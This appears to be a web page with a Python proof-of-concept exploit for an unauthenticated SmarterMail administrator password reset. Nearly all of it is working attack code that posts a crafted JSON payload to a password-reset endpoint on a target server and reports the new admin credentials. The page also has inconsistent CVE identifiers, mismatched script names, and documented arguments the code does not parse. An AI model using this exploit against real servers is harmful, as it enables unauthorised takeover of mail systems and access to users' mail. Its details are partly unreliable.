SmarterMail Unauthenticated Admin Password Reset (CVE-2026-0001 / WT-2026-0001)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

"""
    Usage
    Bashpython smartermail_poc.py http://target-ip:9998
    Or with a different username/password:
    Bashpython smartermail_poc.py http://target-ip:9998 admin SuperSecretPass123!
"""

import requests
import json
import sys
import urllib3

# Disable SSL warnings (for lab/testing environments only)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def reset_smartermail_admin(target_url, username="admin", new_password="NewPass123!@#"):
    """
    Exploit SmarterMail WT-2026-0001 / CVE-2026-23760
    Resets the system administrator password without authentication.
    """
    endpoint = "/api/v1/auth/force-reset-password"
    url = target_url.rstrip("/") + endpoint

    payload = {
        "IsSysAdmin": True,
        "OldPassword": "whatever",      # Not checked for sysadmin
        "Username": username,
        "NewPassword": new_password,
        "ConfirmPassword": new_password
    }

    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }

    print(f"[+] Sending password reset request to {url}")
    print(f"[+] Target username: {username}")
    print(f"[+] New password : {new_password}")

    try:
        response = requests.post(
            url, 
            headers=headers, 
            json=payload, 
            verify=False,      # Set True in production
            timeout=15
        )
        
        print(f"[+] HTTP Status: {response.status_code}")
        
        try:
            resp_json = response.json()
            print(json.dumps(resp_json, indent=2))
            
            if resp_json.get("success") is True:
                print("\n✅ SUCCESS! Administrator password has been reset.")
                print(f"   Username: {username}")
                print(f"   New Password: {new_password}")
                print("\nYou can now log in as admin with the new password.")
            else:
                print("\n❌ Request succeeded but reset may have failed.")
        except:
            print(response.text)
            
    except requests.exceptions.RequestException as e:
        print(f"❌ Request failed: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python smartermail_auth_bypass.py <http://target:port>")
        print("Example: python smartermail_auth_bypass.py http://192.168.1.100:9998")
        sys.exit(1)
    
    target = sys.argv[1]
    reset_smartermail_admin(target)